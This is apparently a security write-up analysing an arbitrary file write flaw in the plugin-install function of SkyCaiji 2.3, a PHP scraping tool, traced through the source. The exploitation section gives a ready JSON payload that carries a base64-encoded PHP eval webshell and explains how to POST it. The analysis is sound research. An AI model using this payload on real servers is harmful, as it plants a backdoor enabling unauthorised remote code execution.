前言
蓝天采集器是一款免费的数据采集发布爬虫软件,采用php+mysql开发,可部署在云服务器,几乎能采集所有类型的网页,无缝对接各类CMS建站程序,免登录实时发布数据,全自动无需人工干预!是大数据、云时代网站数据自动化采集的最佳云端爬虫软件,2.3版本下载地址
https://github.com/zorlan/skycaiji/tree/19e77d03c8be2c4e40320ddc56213c271bc3721e
代码分析
漏洞触发点在/SkycaijiApp/admin/controller/Store.php
文件中的installPluginAction
函数,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public function installPluginAction(){ $plugin=json_decode(base64_decode(input('post.plugin')),true); $plugin['code']=base64_decode($plugin['code']); if(empty($plugin['app'])){ $this->dispatchJump(false,'标识错误'); } if(empty($plugin['name'])){ $this->dispatchJump(false,'名称错误'); } if(empty($plugin['type'])){ $this->dispatchJump(false,'类型错误'); } if(empty($plugin['module'])){ $this->dispatchJump(false,'模块错误'); } if(empty($plugin['code'])){ $this->dispatchJump(false,'不是可用的程序'); } if(!empty($plugin['tpl'])){ $plugin['tpl']=base64_decode($plugin['tpl']); } $newData=array('app'=>$plugin['app'],'name'=>$plugin['name'],'desc'=>$plugin['desc'],'uptime'=>$plugin['uptime']); $newData['provider_id']=$this->_getStoreProvid($plugin['store_url']); if($plugin['type']=='release'){ model('ReleaseApp')->addCms($newData,$plugin['code'],$plugin['tpl']); $this->dispatchJump(true); }elseif($plugin['type']=='func'){ $newData['module']=$plugin['module']; model('FuncApp')->addFunc($newData,$plugin['code']); $this->dispatchJump(true); }else{ $this->dispatchJump(false); } }
|
函数直接接收post
参数然后进行base64
和json
解码,接着进行了判空操作,接着如果满足$plugin['type']=='release'
就会调用addCms
函数,跟进该函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public function addCms($cms,$code='',$tpl=''){ if(empty($cms['app'])){ return false; } $cms['module']='cms'; $cms['uptime']=$cms['uptime']>0?$cms['uptime']:NOW_TIME; $cmsData=$this->where('app',$cms['app'])->find(); $success=false; if(!empty($cmsData)){ $this->strict(false)->where('app',$cms['app'])->update($cms); $success=true; }else{ $cms['addtime']=NOW_TIME; $this->isUpdate(false)->allowField(true)->save($cms); $cms['id']=$this->id; $success=$cms['id']>0?true:false; } if($success){ $cmsAppPath=config('plugin_path').'/release'; if(!empty($code)){ write_dir_file($cmsAppPath.'/cms/'.ucfirst($cms['app']).'.php', $code); } if(!empty($tpl)){ write_dir_file($cmsAppPath.'/view/cms/'.ucfirst($cms['app']).'.html', $tpl); } } return $success; }
|
该函数中后面如果满足$success
为true
则会调用write_dir_file
函数,跟进该函数
1 2 3 4 5 6 7
| function write_dir_file($filename,$data,$flags=null,$content=null){ $dir = dirname($filename); if(!is_dir($dir)){ mkdir($dir,0777,true); } return file_put_contents($filename,$data,$flags,$content); }
|
该函数的功能是去执行写文件操作,在整个流程下来后我们会发现,该流程并没有对写入的code
进行一些过滤和检查,,那么如果我们可以满足代码流程中的一些条件,就可以实现写入shell
漏洞利用
根据代码流程写出对应的json
格式payload
1
| {"app":"shell","name":"shell","type":"release","module":"ok","code":"PD9waHAgZXZhbCgkX1BPU1RbYV0pOyA/Pg=="}
|
其中code
在传入后进行了base64
解码,在这里要对应的加密
接着将整段payload
以base64
形式加密,最后以post
形式传入进去,如图
接着去\plugin\release\cms
文件夹下可以看到我们写入的shell